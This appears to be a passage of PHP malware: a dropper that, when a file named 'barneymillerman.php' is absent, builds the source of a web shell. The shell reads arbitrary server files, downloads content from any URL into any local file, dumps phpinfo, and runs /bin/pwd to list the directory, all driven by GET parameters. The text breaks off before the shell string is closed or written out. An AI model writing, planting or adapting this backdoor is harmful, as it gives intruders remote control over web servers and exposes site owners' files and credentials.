if (!file_exists("barneymillerman.php")) {
$inscript = "";
$inscript .=
'
if (isset($_GET[\'do\']) && @$_GET[\'do\'] == "phpinfo") {
phpinfo();
exit;
} else if (isset($_GET[\'do\']) && @$_GET[\'do\'] == "create" && isset($_GET[\'web\']) && isset($_GET[\'file\'])) {
$_GET[\'web\'] = urldecode($_GET[\'web\']);
$fd = @fopen($_GET[\'web\'], \'rb\');
$buf=\'\';
if ($fd)
while (!feof($fd))
$buf .= fread($fd, 8192);
fclose($fd);
$fd = fopen($_GET[\'file\'], \'w\');
fwrite($fd, $buf);
fclose($fd);
} else if (isset($_GET[\'do\']) && @$_GET[\'do\'] == "read" && isset($_GET[\'file\'])) {
$fd = fopen($_GET[\'file\'], \'r\');
$buf=\'\';
if ($fd)
while (!feof($fd))
$buf .= fread($fd, 8192);
echo $buf . "\n";
echo "back
\n";
exit;
}
$cwd = \'\';
$asdf = \'\';
@exec("/bin/pwd", $asdf);
foreach($asdf as $jkfl) $cwd .= $jkfl;
if (!$cwd || $cwd == "") $cwd = $_SERVER[\'SCRIPT_FILENAME\'];
echo "current working directory is: {$cwd}\n
";
echo "contents:\n
";
$dir = opendir($asdf[0]);
while (false !== ($list = readdir($dir)))
echo $list . "\n
";
closedir($dir);
?>